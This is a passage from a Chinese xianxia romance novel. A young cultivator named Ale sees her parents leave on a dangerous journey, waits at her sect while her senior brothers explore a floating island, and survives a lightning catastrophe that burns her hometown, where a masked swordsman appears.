“阿乐,你怎么也不知会阿娘一声——”叶绾棠放下铁锹喊了一声:“临羽——敬亭来了!”
“阿乐,快带敬亭去屋里歇着,我去拿点吃的。”叶绾棠对着阿乐另有深意的眨眨眼,阿乐脸“唰”一下又染红了。
“娘——不是你想的那样。”阿乐慌忙摆手,却还是被脸上的红晕出卖。
“师兄,我们进去吧。”
叶敬亭跟着阿乐进屋里去,“阿乐——”叶敬亭轻唤道。
“师兄,怎么了?”阿乐道。
“放轻松。”叶敬亭轻笑道。
阿乐一惊,难道自己表现如此明显?
扶额自言自语道:“龙知乐,你冷静一点啊——这不是见家长,只是见个面而已。”
小院屋内。
现在的气氛大概只有阿乐觉得不自在,她瞟了一眼阿爹阿娘的方向,又瞟了一眼叶敬亭,大家都一副其乐融融的样子,没有一丝不妥,可她心里还是有些紧张。
“灵尊,这是师尊让我交给你的。”叶敬亭从乾坤袋里拿出一封信递给叶绾棠。
“看来是有消息了。”叶绾棠与龙临羽相视一眼,指尖升起灵力打开叶修一封印,展信看了起来。
阿乐看着两人表情变换几番,却也看不出到底是什么意思。
“阿娘,师尊信里说什么了?”阿乐好奇道。
“没什么,就是说了些门派之间的事。”叶绾棠轻轻拍了拍阿乐,笑着道:“敬亭,你们先聊。”
说罢,和龙临羽出去了。
阿乐目光一直跟随他们直到看不见,“师兄,阿娘肯定有事瞒着我们。”
“嗯。”叶敬亭点点头。
“你就不好奇?”阿乐趴在门口看着阿爹阿娘走去的方向。
叶敬亭起身把阿乐拉回来坐好,缓缓道:“他们愿意说的时候会说的。”
“若是他们一直不想说呢?”阿乐道。
叶敬亭拿起茶杯递给阿乐,“先喝茶。”
阿乐哪有心思喝茶,眼神一直门往外瞟,心里总觉得有些奇怪,到底信上说的是什么呀?
“师兄——你说那信上到底能说些什么?”阿乐道。
叶敬亭轻轻摇摇头。
这时,门外传来声响,叶绾棠挽着龙临羽踏进屋里,两人恩爱的样子让阿乐有那么一瞬间觉得她与叶敬亭有些多余。
叶绾棠握住阿乐的手,伸手捏了捏她脸,又把她前额上的稀碎头发整理好。
最后看着她,满眼疼爱道:“阿乐,明日我们要出趟远门,这段时间你去清灵山再待一段时间,我们一回来就去接你!”
阿乐抽回手,嘴角往下撇了撇,带着些许哭腔道:“你们要去哪里?不能一起去吗?”
叶绾棠重新握住阿乐的手,放在掌心里揉了揉,温声细语道:“这些事情比较危险,带着你不方便——”
阿乐揉了揉眼睛,红着眼眶道:“我现在比以前厉害多了,我——我御剑也进步不少,还有修为也精进很多——”她指了指一旁的叶敬亭继续道:“你问师兄,我是不是厉害了很多!”
说着说着,眼泪顺着脸颊流了下来,“阿娘——带我一起好不好!”
叶绾棠帮阿乐擦去泪痕,哄着道:“这次阿娘答应你,一定尽早回来。”
龙临羽拍拍阿乐肩膀,也哄着道:“你相信阿爹,我怎么会让阿娘受伤呢?”
“可是——可是——”可是“阿乐真的想跟你们一起去”,这句话还是憋了回来。
或许,这就是成长吧,有些时刻就是要一个人面对。
阿乐一头扑在叶绾棠怀里泣不成声,哭了好一会才安静下来。
她不是不能独立,也不是真的怕离开他们身边,是最近看了太多生离死别,她很怕发生什么意外,很怕随口说的“再见”便是永远见不到。
叶绾棠怎会不知阿乐的想法,却又没有办法,有些事情拖不得,多拖一天便多一分危险。
夜已深。
叶绾棠躺在床上,看着怀里的阿乐在怀里睡得如此香甜,不禁感叹时间过得可真快,以前还在襁褓中呀呀呓语的小肉团,现在也是个大姑娘了。
小心翼翼把阿乐从身上抱下放在床上,仔细掖好被角才离开。
才出房门便看到一道挺拔的身影站在院子里,是叶敬亭。
“啊哟——敬亭,是你啊!”叶绾棠被吓了一跳,待看清楚是叶敬亭才轻舒一口气。
“灵尊——”还是一副波澜不惊淡淡然的模样。
“师兄都与你说了?”叶绾棠猜到叶修一既然会告诉自己这个消息,定是会帮她安顿好后续,这个师兄,还是一点没变。
叶敬亭微微颔首。
“阿乐在清灵山,我们也很放心。这段时间没少吃这丫头的苦吧!”叶绾棠轻笑,对自己的女儿还是有几分了解的。
叶敬亭眉眼藏着笑意,摇摇头。
叶绾棠拍拍他肩膀,语重心长道:“敬亭,你与阿乐都是有自己想法的人,有些事情我也不便多说什么,那都是你们自己的选择。我们只希望她能知足常乐。”
夜风吹过树叶,莎莎作响,已进入冬天,没有了蝉鸣蛙叫,夜晚显得冷清了一些。
叶敬亭抬眸定定的看向叶绾棠,轻轻弯腰颔首。
其实阿乐没睡,她想让阿娘阿爹也能去办自己的事,但是又没办法眼睁睁看着他们离开的背影,只能假装睡着了。
她在屋子里都听到了。
包括叶绾棠、龙临羽御剑离去的声音。
“师兄——”阿乐发出密信,她此刻有点难受,想要有人能陪着她。
“在门外。”很快收到回复。
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阿乐从床上爬起,跑着去打开门,一跃扑进叶敬亭怀里。
“外面冷,进去。”说罢搂住腰把阿乐横抱起轻轻放回床榻上。
阿乐把脸埋入叶敬亭怀里,她也不知道为什么,心里总觉得隐隐有些担心。
叶敬亭低头道:“不会有事的。”
听到这句话,阿乐才抬起头来,满脸泪痕,“真的吗?”
“真的。以灵尊和师伯的修为不会有事的。”叶敬亭轻轻拭去她眼泪,温柔哄着。
“你知道他们去干嘛吗?”阿乐道。
“不知。师尊只说让我接你回去。”叶敬亭低头在阿乐额头上清点了一下,继续道:“快睡吧。”
“那你在这里陪我吗?”阿乐抓住他袖口擦了擦眼泪,眼泪汪汪的双眼看着他。
叶敬亭顿了一会,轻叹一口气垂下眼道:“好。”
阿乐躺下盖好被子,抱着叶敬亭一只手,闭上眼过了一会又睁开,叶敬亭直挺挺坐在床边上。
阿乐道:“师兄,你要这样一直坐着吗?要不你躺我旁边吧。”
叶敬亭侧过头,看着她,缓缓道:“你一会睡着了,我去那边打坐。”
本来她只是觉得叶敬亭要这样一直坐一晚上会不会太累了,没想那么多,忽然脑子里闪过一些话本,脸上又染上红晕。
转过头躺平好,慌忙道:“好,那我睡了。”
“嗯。”叶敬亭道。
一阵清风吹过,灯都灭了,屋子里安静下来。
“师兄——”
“嗯?”
“谢谢——”
“睡吧。”
次日,叶敬亭把阿乐送回清灵山便与师兄们去无间了,那里是妖魔族地界。
临走前交代了要每天修习,要按时睡觉,不能逃课,还有不能单独去找叶之远。
阿乐看着他,有些无奈,这个时候还是觉得他冷冰冰的样子比较好看。
叶之远知道阿乐回来了很开心,还没等他去找,阿乐便自己来了。
“叶之远!你那天到底给我的信是写了什么啊?”阿乐眨巴眨巴眼,她那天喝得醉醉醺醺,只记得那封信最后是被叶敬亭拿去了,后来有没有还回来她实在想不起,所以干脆来问叶之远。
叶之远愣了一下,意思她还没有看到那封信?
“你没有看到?”叶之远诧异道。
阿乐点点头,挠了挠脑袋道:“我只记得最后是敬亭师兄拿去了,信去哪了我都没找到。”
叶之远瞪大眼,结结巴巴道:“你说信被敬亭师兄拿去了,没有还给你?”
阿乐点点头。
叶之远脑子里“嗡”一声响,很多画面从脑海里蹦出来,原来阿乐一直只是把他当朋友。
“之远,之远?你怎么了?”阿乐看着眼前的叶之远,自己站在原地怔怔发呆,也不说话。
“阿乐,我有事先走了,过段时间再找你。”说罢便飞身而去。
阿乐实在不解,那封信上到底写了什么?
那现在只能去找叶平安了,听闻他现在在外门弟子中表现很不错。
那群从魔窟救回的混血者已被安置好,他现在也不住小院了,那只能去修炼场找他了。早知道问问鹤师兄这密信要怎么结印了,不然找人好麻烦。
39. 浮空岛再现
今日的修炼场聚集了好多人。
寻了一圈大部分都是陌生面孔,看来清灵山又招了不少徒弟。
有几个小师弟看到阿乐,还主动打了招呼,“你是阿乐师姐吗?”
说话的这个小师弟看起来眉清目秀,修为扎实,是个修炼的好苗子。
“是呀!你认识我?”阿乐笑道。
几人点点头,小师弟道:“——今天敬亭师兄也要来这里看我们比赛吗?”
阿乐看着他们冒出星星的眼,尴尬笑了下,“他不来——”
小师弟们一脸失望,“哈?还以为敬亭师兄会一起来的。”
“没关系,可能过几天会来的。”
“对呀,说不定明天就来了,去浮空岛那么大的事情,他肯定会在的。”
阿乐看着几人离去的背影,嘀咕道:“浮空岛?又出现了?”
难怪今天修炼场那么多人,想起上次去浮空岛也是快一年前的事情了。
这时,前方爆发出一阵阵欢呼声,人群层层围住,中间各色灵力闪过。
阿乐拨开人群往前窜去,一阵热浪袭来,一道白光从眼前炸开,清灵山果然人才辈出。
“阿乐,小心!”一道白影从眼前闪过又冲向半空,阿乐听到声音反应一会才辨出,这是叶平安。
两道白影在空中交织,灵力四处飞舞,阿乐看得热血沸腾,平安真是进步不少。
几个回合下来,叶平安终于胜了!
人群中大喊着叶平安的名字,想起那个对天发誓要变强的小小少年,忽然有些鼻酸。
叶平安被众人拥住好一会才得以脱身,阿乐站在一旁看着眼前这一切,真是由衷替他开心。
“阿乐——”叶平安笑着跑来。
“——你回来了!”
阿乐点点头,拍拍他肩膀,“进步好多啊,叶平安。”
“是啊,敬亭师兄教了很多。”
“你们什么时候去浮空岛?”阿乐问道。
“听大师兄说,可能也就是六日后。”叶平安道。
“这次大师兄带队?”阿乐问道。
“还有鹤师兄、敬亭师兄。”叶平安回道。“你不一起去吗?”。
阿乐才刚知道这件事,也不确定自己能不能去。这事关重大,还得问下师尊的意见。
“这浮空岛不是传说千百年才出现一次,怎么这么快又出现了?”阿乐有些不解。
“听大师兄说,确实出现得有些奇怪,但这本来就是没有什么规律。况且师尊推演过,不会有太大问题。”叶平安道。
两人一路从修炼场聊到饭堂,这赵大厨的厨艺愈发精进了,阿乐满足的抹抹嘴,叶平安还要去修炼场,便匆匆走了。
看着叶平安灵力、修为提升那么快,阿乐心中暗暗下了决心,自己也要抓紧修炼了,若被这小子比了去,那岂不是丢脸。
接下来几日,阿乐静下心来,每日按时练习叶敬亭交的心法口诀,倒是感觉到灵力纯净不少。
这天才刚黑,阿乐便早早睡下了。
“阿乐——”一条密信传来。
突然脑海清醒一半,是叶敬亭发来的消息,莫不是受伤了?
猛然从床上坐起,“师兄,你没受伤吧?”
“无碍。”叶敬亭回到。
“小阿乐你偏心,怎么不关心下我?”叶鹤回道。
“还有我呢!”叶展云紧接其后。
阿乐扶额,又发错消息了,不过也好,大家都没事。
“师兄,你们怎么这个时候回来?”阿乐道。
“本来早就到了,叶鹤非要去喝顿酒才回来。”叶展云道。
“你自己也没少喝!”叶鹤道,“敬亭是想早点回来的,又不放心我们俩,哈哈——”
“好困,我先睡了,明天见阿乐!”叶展云道。
“敬亭师兄?”这次是单独发给叶敬亭的。
“嗯?”叶敬亭回道。
“你——睡了吗?”阿乐道。
“没。”叶敬亭道。
“你没事吧?”阿乐感觉有些奇怪,怎么又变成冰块了?
阿乐坐起站在窗边,看着窗外明月,焦急得等着消息。
半晌,才收到回复:“不是很好。”
什么?所以是受伤了吗?可刚才叶鹤不是这么说的呀,还是有其他什么事情?
顾不得多想,抓起衣服换上,便跑了出去,往叶敬亭住所飞身而去。
脑子里越想越乱,心里盘算着到底是怎么了。
没注意大路上站着一道挺拔的白影,刚抬眸便已撞了上去。
熟悉的气息,熟悉的怀抱。
“嗯?师兄——”阿乐惊喜道,他怎么在这。
连忙抓过叶敬亭上下左右打量了一番,指尖升起灵力往身上探去,没有伤口。
“难道是内伤?”阿乐嘀咕着。
下一瞬,便被叶敬亭拉入怀里,阿乐挣扎着想要起来:“师兄,是不是内伤?”
又被叶敬亭按回去抱紧,声音从头顶飘来:“别动。”
阿乐噗嗤一笑,“所以你是骗我出来?”
“我本来要去找你的,谁知道——”你跑那么快。
阿乐踮起脚尖环住叶敬亭,脸往他胸前蹭了蹭,叶敬亭任由她就这样抱着。
过了一会,“师兄——”阿乐还是没忍住想说话,“那封信到底写了什么?”
明显感觉到抱着自己的男人一怔,声音低沉道:“你去找叶之远了?”
阿乐道:“是呀,他也不跟我说信上到底写了什么!”
叶敬亭不说话,手上劲又收紧了些,阿乐有些喘不过气,哼哼唧唧道:“我喘不过气了,师兄——”
“不要说话。”叶敬亭生硬回道。
“可是——“,“啊哟,好好好,我不说话了——”
迷迷糊糊阿乐都忘了自己怎么回到床上的,这一夜睡得极好。
卯时钟声在山里回荡了好几次,阿乐才醒来。
想起修炼场今天还有比试,迅速洗漱完便急冲冲出门了。
“藏书阁,速来。”刚出门便收到叶敬亭信息。
“师兄——我想去修炼场。”阿乐回道。
“决赛下午才开始,先到藏书阁。”叶敬亭道。
“——”
“现在修炼场可比藏书阁好玩多了——”阿乐自言自语,但身子还是很自觉往藏书馆方向走去。
藏书阁。
叶敬亭端坐在书桌前,手里拿着一卷书,若不是眼睛还在动,阿乐一晃神都以为是哪个能工巧匠精心雕琢的雕像。
“师兄——”阿乐唤道。
叶敬亭抬眸,眉眼间都是笑意指了指身旁,阿
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乐刚坐下,他便把一沓书放在桌上。
“啊——那么多?!这不会都要学吧!”阿乐欲哭无泪,默默抗议。
“这些都是提升修为和压制‘浮生烬’的心法。”叶敬亭口气软了一些,眼里闪过一丝担心。
阿乐定定神,翻了翻这些书本,侧过头道:“那你要跟我一起——”
“嗯。”叶敬亭点点头。
“一言为定,我们开始吧。”阿乐长舒一口气,本来自己最担心的也是体内的“浮生烬”,岂有不学的道理。
“师兄,我这次可以去浮空岛吗?”阿乐问道。
叶敬亭沉默半晌,道:“这次新生比较多,且浮空岛那么短时间内又出现,虽然师尊已推演过,还是不可以掉以轻心。”
其实阿乐也有点担心那么短时间内又出现浮空岛,近段时间妖魔族又时常动乱,自己还是不要去添乱的好,若真有什么不测,在清灵山也可以接应。
“嗯,好吧。”阿乐低落道。
“要真有什么好玩的宝物,我定带给你。”叶敬亭柔声道。
阿乐展颜,笑着点点头。
还没到下午,才刚吃过饭,阿乐便收到叶平安这次比试第一的消息。
在饭堂内,阿乐激动得手舞足蹈,拉着叶敬亭哇哇大叫,“师兄——平安做到了!,他真的做到了。”
周围投来异样的目光,看到是叶敬亭又默默转回头。
叶敬亭笑着点点头,他也替叶平安感到开心。
“师兄,我们去给他道贺吧!”阿乐激动道。
“先吃完饭。”说罢,拉过阿乐端坐好,顺手往她碗里夹了些菜。
阿乐大口扒着饭,囫囵几口便拖着叶敬亭往外走。
修炼场。
比试已经结束,人少了大半。
只有胜出者还在这里练习,大家都是又紧张又期待,又怕出什么意外,所以练得格外认真。
远远便听到叶鹤的声音,他也是队长之一,自然是要亲自来这里督训这些小师弟的。
“鹤师兄——”阿乐大声唤道。
“阿乐——”叶平安的声音传来,原来他在鹤师兄队里。
“敬亭师兄。”看到叶敬亭跟在身后,叶平安收敛起表情毕恭毕敬道。
叶敬亭微微颔首算是打过招呼。
“敬亭,你这一天也不见,就知道跑去找阿乐了!”叶鹤抱着手笑道,眉眼笑看阿乐又看看叶敬亭,一副“我可什么都知道”的表情。
“鹤师兄,你又打趣我!”阿乐握紧拳头砸在叶鹤手臂上。
“敬亭,你也不管管你师妹,你看看你都宠成什么样了!”叶鹤假装受伤捂住胳膊跑到叶敬亭身后道。
叶敬亭勾起嘴角看着两人嘻嘻哈哈的模样,对叶平安道:“练得怎么样?”
“上次师兄教我的心决我每天都有联系不敢怠慢。”说罢,便感到一股劲力划破空气,急急袭来,伴随着一道灵力划过眼前,叶平安下意识往后退去,手中捏诀,空中出现一道盾牌,这才勉力挡过去。
身子却被那道灵力硬生生往后逼退了几步。
“师兄,我——”叶平安以为自己已经精进很多,没想到还是没能挡住这一击。
“浮空岛变幻多端,需随时小心。”叶敬亭道。
叶平安心中对叶敬亭又多加了几分佩服,弯腰道谢。
40. 天劫
浮空岛提前一天出现,而且是在子时。
叶修一望着众人离去的背影紧抿着嘴角。
阿乐看着师尊向来都是稳如泰山,不知道是不是自己想多了,此时既然从他脸上看到了一丝担忧。
待夜空中最后一丝彩光合上,叶修一立马原地起卦推演。
阿乐看着这阵仗,手心出汗,心道:“不会真的有事吧。”。
“师兄——听得到吗?”阿乐发去密信。
“嗯。”叶敬亭回道。
“你们情况怎么样?”
“就是天气不太好。”叶鹤道。
“没想到这次这边也是黑夜,暂时未看到什么危险。”叶展云道。
“各位多加小心。”阿乐说完便盘腿坐下了。
现在除了安静等待,也做不了其他。
闭上眼,屏气凝神,安慰自己道:“不会有事的,不会有事的。”
很快,阿乐便入定了,叶敬亭教的那些已经融会贯通,体内聚齐一股灵力,顺着经脉在全身游走。
很快,已过去四日了,叶修一推演了三遍,最后结局都有不同,但好在都不是大凶。
上次满打满算也不过两日,这次怎么那么久。
阿乐发了很多密信,也一直没有收到回复。
在修炼场来回踱步,一直盯着他们消失的天边,还是没有任何迹象。
最后这三天全部弟子都聚集到修炼场,轮岗守着。叶修一也一直在修炼场坐镇。
整整七天过去了,还是没有一点消息。
叶修一又开始推演。
终于在第八天夜里,空中闪过一道闪电,紧接着“噼里啪啦”几道球状天雷接连在空中炸开。
叶修一捏诀立马结起结界,把天雷隔绝在外。
天雷见这里进不来,便往山下劈去。
山脚几处地方瞬间燃起火来,火势熊熊。
“众弟子听令,一部分随我镇守在此,一部分去山下救人。”叶修一自带威严不容质疑,大家听后有序分工。
阿乐看着天雷不断顺着山脚往远处劈去,看着方向担心宛东城也遭殃,便加入下山的弟子,一队人马浩浩荡荡往山下飞身而去。
既然在这个时候出现天雷,那必定伴随着有天劫降下,也不知道浮空岛那边是什么情况。
阿乐火急火燎,心乱如麻也只能先救眼前。
山脚下的小村庄烧成一片火海,哀嚎求救声一片。
阿乐祭出“雪落”握在手中,顺着求救声一一寻去。没过多久,从火海中救出许多幸存者。
众弟子捏诀结成一道结界,把救出来的人暂时安顿在里面。
便飞往下一个被劈到的地方。
天雷不但没有减弱,还有愈演愈烈之势。
眼见着又有几道天雷劈下,“不好,那个方向是宛东城。”阿乐心中一惊,这道天雷比之前的都来势汹汹。
御剑急忙便往家飞去,风往耳边呼呼略过。
“可千万不要有事。”
天雷不断从天上劈下,完全没有停止的趋势,阿乐心道,“到底是何物触犯了天劫?难道与妖魔族有关?”
待赶到宛东城,入眼一片汪洋火海,热浪直冲上半空。
紧接着又几道天雷劈下,无一都砸中宛东城。
“难道他们的目标是这里?”阿乐心惊道。
街道两旁都是被烧焦的尸体,已然认不出样貌,只是一截截黑色的躯体。
整座城死气沉沉,难道全部都——?
阿乐不敢往下想,握着“雪落”四处探去。
“哇哇哇——”一阵哭声从屋里传出,还有活人。
灵力灌满在剑上,一剑劈开紧闭的大门,哭声从屋里断断续续传来。
大火“噼里啪啦”作响,热气逼得呼吸困难,阿乐灵力从指尖升起,一道结界把自己与炎热的火舌隔开。
声音越来越近,“快了,就快要找到了。”阿乐心道,汗水顺着额头流下在空中化为烟雾。
突然,哭声戛然而止,阿乐心中大喊不妙,加快寻找的脚步。
抬眼,从火光中印出一道高大的黑影,手起剑落,哭声就是在这个时候停止的。
一阵怒火从心中升起,“谁?”一声喝令,阿乐飞身追过去。
那黑影似乎并不怕来人,提剑定定站在原地,直到与阿乐面对面站着。
只见那道黑影身穿一袭白衣,衣决飘飘一尘不染,脸上带着一个白色面具,面具上只有两个眼洞,看来这人并不想被人看到真实的样貌。
“你是谁?”阿乐提起剑,灵光乍起像他刺去。
那人还是一动不动站在原地,阿乐心中嘀咕:“他为何不躲?”
眼看剑峰快要刺入他胸口,好像时间被放慢了,就眨眼间,阿乐眼睁睁看着那人已从剑下移到了另一边。
“这——这怎么可能?”阿乐不可置信,这世上还有那么诡异的身法。
看不到那人的表情,还是同样的姿势站在原地一动不动。
阿乐恼怒不已,深吸一口气,灵力再次升起,这次她指尖变化,“雪落”分出很多分身悬在空中分别指着不同方向,把那人围住,这下总逃不开了吧。
手指捏诀,灵力充满每一把剑,“去。”
话音才落,这次阿乐死死盯着那白衣人,甚至没有眨眼,“该死——”,又眼睁睁看着那人不紧不慢站在街道另一边,既然毫发无伤。
白衣人把剑收起,转过身便跑了。
“别跑——”阿乐心中燃起一团怒火,感觉自己被戏弄了。
飞身追去。一路上没有听到一句呼救,路边横七竖八都是被烧焦的尸体。空中弥漫着一股难闻的气味,被烧焦的肉味混杂着碳火味,还有各种各样被烧焦的味道交织在一起,她沉着脸,不敢细细看去。
天雷一个接一个在身边落下。
“难道天劫是这个人引起的?”阿乐心中嘀咕着,脚下加快步伐。
白衣人在一座院子前停下了。
阿乐握紧“雪落”,仔细分辨,这——这不是自己家吗?!
院子里才搭起的葡萄架早已被烧成一堆黑灰,屋里熊熊烈火张着血盆大口仿佛要把她在这里的回忆一并全部吞噬。
只要阿爹阿娘还在,回忆还会再有的。
“不对,他一路把我引来,他怎么知道我是谁?”阿乐心道,提高警惕盯着对面的白衣人。
须臾间,白衣人又不见了。
阿乐握紧手里的“雪落”,警惕着身边的每一个风吹草动。
“阿乐——”是阿娘的声音。
“阿娘——”阿乐侧首,脖颈处传来一阵凉意,不知何时“雪落”已架在自己面前,余光看去,是那个白衣人。
她手指捏诀,想要重新控制“雪落”,可既然没有用,“雪落”如同就是这白衣人的剑一般。
阿娘赫然站在面前。
“阿娘——”阿乐唤道,感觉到脖颈处有液体留下。
“你别伤害她——”叶绾棠吼道,龙临羽从火海中飞身赶来。
两人衣裳都被血染红一片,阿乐看着他们心疼的却说不出话来。
“你到底要干什么?”龙临羽大声吼道。
一道声音从身后轻轻飘来:“要你们死——”,这句话从白衣人口中说出来不带有
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一丝一毫情感,就好似不是在说生命,就是路边的一颗野草,一株小花,一片树叶,一颗石头。
“哼!”龙临羽手中捏诀,面前祭出一个大鼎,以肉眼看不到的速度往这边飞来。
脖颈处的冰冷感消失了,阿乐连忙飞身往叶绾棠处跑去。
“阿娘——”阿乐扑在怀里,看着叶绾棠身上的伤口,眼泪不争气流下来,指尖升起灵力想要帮她疗伤。
叶绾棠看着远处两股灵力在空中乱斗,那是白衣人与龙临羽。她拉过阿乐,带着不容置疑的口吻道:“阿乐,你现在速速回清灵山,白衣人暂时不敢去那里。”
阿乐这个时候怎么肯离开,她抱着叶绾棠不撒手,坚定的摇着头。
“白衣人不会放过你的,你听阿娘话,我们不会有事的,好不好?”叶绾棠声音坚决,不容反驳。
远处又有几道天雷劈下。
阿乐还是不肯放开她手,哭着道:“他要我身上的‘浮生烬’吗?!若是能救你和阿爹,我给他便是。不要让我走好不好,阿娘!”
“啪”一声,阿乐脸上火辣辣得疼,她捂着脸看着叶绾棠,“龙知乐!你怎么可以把自己的生命说得如此不重要,你可是我跟你阿爹冒着天规生下的,你是我们爱情的见证,是我们生命中的一部分。”
叶绾棠眼眶微红,远处传来龙临羽的呻吟声,她知道剩下的时间不多了。再不走就真来不及了。
阿乐抱着她手还是不松开,哽咽道:“那我们要死也要在一起——”
叶绾棠把阿乐紧紧抱在怀里,柔声道:“阿乐,你要记得阿娘说的话,混血者不是违背天规,天规才是违背天道。”
“阿娘——”阿乐只记得身后一阵吃痛,便晕倒了过去。
模糊中只看到叶绾棠提着剑往天雷落下的地方飞身而去,“临羽——”
阿乐想要挣扎着起身,却终究两眼一黑晕了过去。
“不要——不要——”阿乐在大喊声中一跃而起。
眼前已没有火海,草地上光秃秃一片有被灼烧过的痕迹。天空中乌云密布,下着小雨,身上衣服已经湿透,衣袖上的血水混着雨水落在地上。
这是叶绾棠身上的血。
“阿娘——阿爹——”阿乐飞身往宛东城飞去。
这里火已灭了。雨水想要使劲冲刷着这里发生的一切,一望无际黑乎乎的一片废墟。
依稀按照记忆往家里跑去。
不出所料,这里也一样,就剩几处残檐断壁躺在雨里。
“阿娘——”阿乐心中升起无尽恐惧,极目看去,四处都是烧焦的尸体。
雨越下越大,逐渐模糊了视线。
阿乐安慰自己:“没有看到尸体就一定没事。”
抹了一把雨水,跪在地上开始翻找辨认着每一具尸体。
可是尸体太多了,有的早被烧得面目全非,有的被分成好几段,死状可怖。
阿乐指尖升起灵力认真辨认着,“没看到就是没有事。”
雨下了又停,乌云散开太阳出来。太阳落山,明月升起。
如此过了两天,阿乐滴水未进,她早已感受不到任何,现在脑子里只有翻尸体这一件事。
她趴在地上认真翻找着每一具尸体,“只要没看到尸体,就是没有事。”
大半个宛东城已被翻了个遍。
她不在意自己还要翻多久,只要翻过这里的所有尸体,那就能证明阿娘阿爹没事。
三道白影从空中翩然落下。
一个挺拔的白影在这一片黑乎乎的废墟中寻找,直到看见一个瘦小的身影在地上不断翻找着什么。
“阿乐——”
41. 宛东城
废墟黑乎乎一片烧焦的残骸
阿乐跪坐在地上,指尖升起的灵力如同她一般气若悬丝,埋着头在一堆烧焦的残骸中奋力探查着。
“阿乐——”叶敬亭蹲在地上,轻轻唤着她。
她衣裳被挂了好几个洞,衣角早被地上黑灰染得看不出原色。有几根手指的指甲已经断裂,混着沙尘、黑灰、焦炭,清晰可见早已干涸的血迹。
叶敬亭眉间拧在一起,拉过她的手,轻唤着:“阿乐——阿乐——是我!敬亭。”
唤了几声,阿乐才缓缓抬起头,眼底布满血丝,双眼空洞的看着他,望了半晌才认出来是谁,双手紧紧抓住他情绪激动道:“师兄,快帮我看看阿娘、阿爹在不在这里。”
叶敬亭看着她惨白的脸,眉间紧紧拧在一起。
“好——好——我帮你找!你先起来好不好?”叶敬亭扶着她,慢慢起身。
大概是跪得太久了,一直没有站起来。
“师兄,你快帮我看看,到底有没有阿娘、阿爹!”阿乐一转身又埋入废墟中翻找着。
叶鹤看着阿乐背影,在这样下去别说灵力耗尽,身体也撑不住。
“敬亭,师妹不能再这样下去。”叶鹤道。
“要不我们干脆——”叶展云比了一个“敲晕”的动作。
叶敬亭摇摇头,又追了上去。
“我来。”叶敬亭伸手拍了拍她,把她手握在手心。
手指间升起灵力,灵力慢慢扩大,最后覆盖到周身一圈。
叶敬亭拦腰抱起阿乐,调整了一个她舒适的姿势,低声道:“我们往哪边走?”
阿乐盯着叶敬亭没说话,眼眶泛红,擦了擦眼泪指着东南方向,舔了舔干涸的嘴唇,喉咙传来一阵刺痛,声音嘶哑道:“那边——”
“好。”叶敬亭小步走去,灵力围绕周身,仔细探查每一个地方。
叶鹤、叶展云见状,灵力围绕周身铺散开来,随着叶敬亭方向走去。
这样一来灵力覆盖范围便扩大许多,不过半天,便寻完了一圈。
叶鹤找了一块干净的地方,叶敬亭把阿乐放下,蹲在她身旁柔声道:“没有灵尊他们的气息。”
阿乐红着眼扫视了一圈,确认了确实没有遗漏的地方,才点点头。
眼泪流了一脸,叶展云拿来一些水喂她喝下,喉咙没有那么刺痛了。
叶敬亭抓过她手握在手心,缓缓道:“我们回去了好不好?”
阿乐不说话,眼泪越流越多,叶敬亭知道她是怕自己错过了消息,怕自己没有尽力而后悔。
帮她擦拭着眼泪,搂着她肩膀道:“那你坐在这里不要动,我们再去寻一圈。”
阿乐看着他说不出话,眼泪一直停不下来,点点头。
三人又仔细寻了一遍宛东城,没有放过任何角落。
“肯定没有灵尊他们的气息。”叶展云笃定道。
叶鹤点点头,“这下阿乐可以放心了。”
三人回来,阿乐眼巴巴的看着他们。
叶敬亭蹲下,拍着阿乐肩膀柔声道:“我们仔细探过每个角落,没有。”
听到“没有”这两个字,阿乐身上某根神经才放松下来,她真的很怕——嘴角一撇眼泪又开始哗哗往外流。
两天两夜未进食、未休息过,再加上一直无休止的使用灵力,现在身上放松下来,整个身体犹如没有了支撑瞬间瘫软向地上倒去。
叶敬亭拦过腰,一把横抱在怀里,从乾坤袋里召出一袭毛毯严丝合缝把她裹住。
阿乐靠在叶敬亭怀里,头靠在他胸前,看着他默默流泪。
“要不要睡一会?”叶敬亭道。
阿乐摇摇头。
“我们一会就到。”叶敬亭御剑在半空中,叶鹤、叶展云分别在两侧警惕着周围。
阿乐靠在叶敬亭怀里,明明身体想要休息,可只要眼睛一闭上便想起那个戴着面具的白衣人,白色面具看着自己明晃晃的裂开嘴,嘴巴越张越大,锯状的牙齿镶满上颚,阿乐转头想跑,不料双腿没有一丝力气站起来,只能跪在原地眼睁睁看着白衣人越靠越近——
猛然睁开眼,一片漆黑。
呼——还好是做梦啊。
可——她明明记得他们不是回清灵山了吗?
“师兄——师兄——”在黑暗中慌乱摸索,心脏“突突突”直跳。
须臾间,被一双大手紧紧搂住,熟悉的气息从头顶传来:“我在,我在。”
一阵清风吹过,屋子里明亮起来。
阿乐紧紧抱住眼前人,宛如抓住救命的稻草。
叶敬亭抽出手轻轻拍着她背:“不怕不怕,我在。”
“可以别走吗?”阿乐仰着头,眼眸中一簇亮光照着叶敬亭。
“我不走,你快躺下。”叶敬亭轻声哄道。
阿乐还是仰着头看着他。
叶敬亭垂下眼眸,看着她道:“我们一起。”
说罢,搂过阿乐一起躺下。阿乐靠在他胸膛上,抓着他手丝毫没有松开的意思。
“这样你会不舒服。”叶敬亭示意她放松。
阿乐哼唧了一声,手反而抓得更紧,头在他胸口蹭了蹭。
叶敬亭全身怔住,直听到阿乐沉稳的呼吸声,握紧的手指才慢慢松开。
或许是因为有个可靠的人在身旁,阿乐终于可以放松下来好好睡觉。
这一觉睡了三日。
这三日叶敬亭几乎寸步不离守着阿乐,他也后怕,若是他们一直被困在浮空岛——
想来也是太多巧合,阿乐才刚到清灵山,便出现浮空岛,叶子清、叶鹤、叶展云、叶敬亭全部被困浮空岛,紧接着便有天劫降世,这一项项一桩桩出现的时间点都那么恰到好处,就好像是被人安排好的一般。
那日天劫降世,叶敬亭等人被困在浮空岛,后面发现出口被人封印住,几人拼了命才从浮空岛回来,折损了六名弟子。后来找到阿乐回来后,叶修一便一直在闭关。
阿乐终于醒了,手在床边摸索了一番,怎么空空的?叶敬亭呢?
“师兄——”
抬眼环视了一圈,叶敬亭不在。
阿乐慌忙祭出“雪落”握在手里,警惕的看着四周,自己不会还在梦里吧?
因为太过用力,手指传来疼痛感,都说十指连心,眼泪一下涌出眼眶,“哐当”剑落在地上发出脆响。
阿乐这才发现自己每个手指头都被包裹的严严实实,刚才碰到的手指尖从纱布里渗出血来。
这时,门开了。
叶敬亭看到血迹,又查看了阿乐身体一番,把阿乐抱回床榻上。
